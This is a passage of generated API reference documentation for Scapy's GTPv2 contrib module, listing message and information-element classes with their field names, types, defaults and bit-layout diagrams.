+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. GTPV2DeleteIndirectDataForwardingTunnelResponse       


GTPV2DeleteIndirectDataForwardingTunnelResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteSessionRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1557-L1558]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2DeleteSessionRequest                  


GTPV2DeleteSessionRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DeleteSessionResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1561-L1565]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1564-L1565]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPV2DeleteSessionResponse                  


GTPV2DeleteSessionResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DownlinkDataNotif(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1707-L1708]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPV2DownlinkDataNotif                    


GTPV2DownlinkDataNotif fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DownlinkDataNotifAck(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1711-L1712]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2DownlinkDataNotifAck                  


GTPV2DownlinkDataNotifAck fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2DownlinkDataNotifFailureIndication(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1592-L1593]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. GTPV2DownlinkDataNotifFailureIndication           


GTPV2DownlinkDataNotifFailureIndication fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2EchoRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1535-L1536]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GTPV2EchoRequest                       


GTPV2EchoRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2EchoResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1539-L1543]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1542-L1543]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GTPV2EchoResponse                      


GTPV2EchoResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ModifyBearerCommand(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1568-L1569]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2ModifyBearerCommand                   


GTPV2ModifyBearerCommand fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ModifyBearerFailureIndication(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1572-L1573]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. GTPV2ModifyBearerFailureIndication              


GTPV2ModifyBearerFailureIndication fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ModifyBearerRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1596-L1597]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2ModifyBearerRequest                   


GTPV2ModifyBearerRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ModifyBearerResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1600-L1604]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1603-L1604]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2ModifyBearerResponse                  


GTPV2ModifyBearerResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ReleaseBearerRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1696-L1697]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2ReleaseBearerRequest                  


GTPV2ReleaseBearerRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ReleaseBearerResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1700-L1704]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1703-L1704]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPV2ReleaseBearerResponse                  


GTPV2ReleaseBearerResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ResumeAcknowledge(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1645-L1646]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPV2ResumeAcknowledge                    


GTPV2ResumeAcknowledge fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2ResumeNotification(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1641-L1642]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPV2ResumeNotification                   


GTPV2ResumeNotification fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2SuspendAcknowledge(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1637-L1638]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPV2SuspendAcknowledge                   


GTPV2SuspendAcknowledge fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2SuspendNotification(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1633-L1634]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2SuspendNotification                   


GTPV2SuspendNotification fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2UpdateBearerRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1618-L1619]

	Bases: GTPV2Command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2UpdateBearerRequest                   


GTPV2UpdateBearerRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.GTPV2UpdateBearerResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1622-L1626]

	Bases: GTPV2Command


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1625-L1626]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPV2UpdateBearerResponse                  


GTPV2UpdateBearerResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_AMBR(_pkt, /, *, ietype=72, length=None, CR_flag=0, instance=0, AMBR_Uplink=0, AMBR_Downlink=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L758-L765]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          AMBR UPLINK                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AMBR DOWNLINK                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_AMBR                           


IE_AMBR fields






	ietype

	ByteEnumField

	72



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	AMBR_Uplink

	IntField

	0



	AMBR_Downlink

	IntField

	0















	
class scapy.contrib.gtp_v2.IE_APCO(_pkt, /, *, ietype=163, length=None, CR_flag=0, instance=0, extension=0, SPARE=0, PPP=0, Protocols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1302-L1312]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E| SPARE | PPP |           PROTOCOLS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_APCO                           


IE_APCO fields






	ietype

	ByteEnumField

	163



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	extension

	BitField  (1 bit)

	0



	SPARE

	BitField  (4 bits)

	0



	PPP

	BitField  (3 bits)

	0



	Protocols

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_APN(_pkt, /, *, ietype=71, length=None, CR_flag=0, instance=0, APN=b'internet')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L738-L745]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              APN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_APN                            


IE_APN fields






	ietype

	ByteEnumField

	71



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	APN

	APNStrLenField

	b'internet'















	
class scapy.contrib.gtp_v2.IE_APN_Restriction(_pkt, /, *, ietype=127, length=None, CR_flag=0, instance=0, APN_Restriction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1402-L1408]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APN RESTRICTION|
+-+-+-+-+-+-+-+-+

                     Fig. IE_APN_Restriction                      


IE_APN_Restriction fields






	ietype

	ByteEnumField

	127



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	APN_Restriction

	ByteField

	0















	
class scapy.contrib.gtp_v2.IE_BearerContext(_pkt, /, *, ietype=93, length=None, CR_flag=0, instance=0, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L530-L537]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_BearerContext                       


IE_BearerContext fields






	ietype

	ByteEnumField

	93



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_BearerFlags(_pkt, /, *, ietype=97, length=None, CR_flag=0, instance=0, SPARE=0, ASI=0, Vind=0, VB=0, PPC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L540-L550]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |A|V|V|P|
+-+-+-+-+-+-+-+-+

                       Fig. IE_BearerFlags                        


IE_BearerFlags fields






	ietype

	ByteEnumField

	97



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (4 bits)

	0



	ASI

	BitField  (1 bit)

	0



	Vind

	BitField  (1 bit)

	0



	VB

	BitField  (1 bit)

	0



	PPC

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp_v2.IE_BearerTFT(_pkt, /, *, ietype=84, length=None, CR_flag=0, instance=0, Bearer_TFT=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L748-L755]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BEARER TFT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_BearerTFT                         


IE_BearerTFT fields






	ietype

	ByteEnumField

	84



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Bearer_TFT

	StrLenField

	b''















	
class scapy.contrib.gtp_v2.IE_Bearer_QoS(_pkt, /, *, ietype=80, length=None, CR_flag=0, instance=0, SPARE1=0, PCI=0, PriorityLevel=0, SPARE2=0, PVI=0, QCI=0, MaxBitRateForUplink=0, MaxBitRateForDownlink=0, GuaranteedBitRateForUplink=0, GuaranteedBitRateForDownlink=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1334-L1349]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|P|PRIORIT|S|P|      QCI      |      MAXBITRATEFORUPLINK      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+
|                                               |MAXBITRATEFORDO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   GUARANTEEDBITRATEFORUPLINK                  |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          GUARANTEEDBITRATEFORDOWNLINK         |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Bearer_QoS                        


IE_Bearer_QoS fields






	ietype

	ByteEnumField

	80



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE1

	BitField  (1 bit)

	0



	PCI

	BitField  (1 bit)

	0



	PriorityLevel

	BitField  (4 bits)

	0



	SPARE2

	BitField  (1 bit)

	0



	PVI

	BitField  (1 bit)

	0



	QCI

	ByteField

	0



	MaxBitRateForUplink

	BitField  (40 bits)

	0



	MaxBitRateForDownlink

	BitField  (40 bits)

	0



	GuaranteedBitRateForUplink

	BitField  (40 bits)

	0



	GuaranteedBitRateForDownlink

	BitField  (40 bits)

	0















	
class scapy.contrib.gtp_v2.IE_Cause(_pkt, /, *, ietype=2, length=None, CR_flag=0, instance=0, Cause=1, SPARE=0, PCE=0, BCE=0, CS=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L716-L726]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CAUSE     |  SPARE  |P|B|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_Cause                           


IE_Cause fields






	ietype

	ByteEnumField

	2



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Cause

	ByteEnumField

	1



	SPARE

	BitField  (5 bits)

	0



	PCE

	BitField  (1 bit)

	0



	BCE

	BitField  (1 bit)

	0



	CS

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp_v2.IE_ChargingCharacteristics(_pkt, /, *, ietype=95, length=None, CR_flag=0, instance=0, ChargingCharacteristic=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1361-L1370]

	Bases: IE_Base


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'ChargingCharacteristric': ('ChargingCharacteristic', '2.6.0')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CHARGINGCHARACTERISTIC    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_ChargingCharacteristics                  


IE_ChargingCharacteristics fields






	ietype

	ByteEnumField

	95



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	ChargingCharacteristic

	XShortField

	0















	
class scapy.contrib.gtp_v2.IE_ChargingID(_pkt, /, *, ietype=94, length=None, CR_flag=0, instance=0, ChargingID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1352-L1358]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
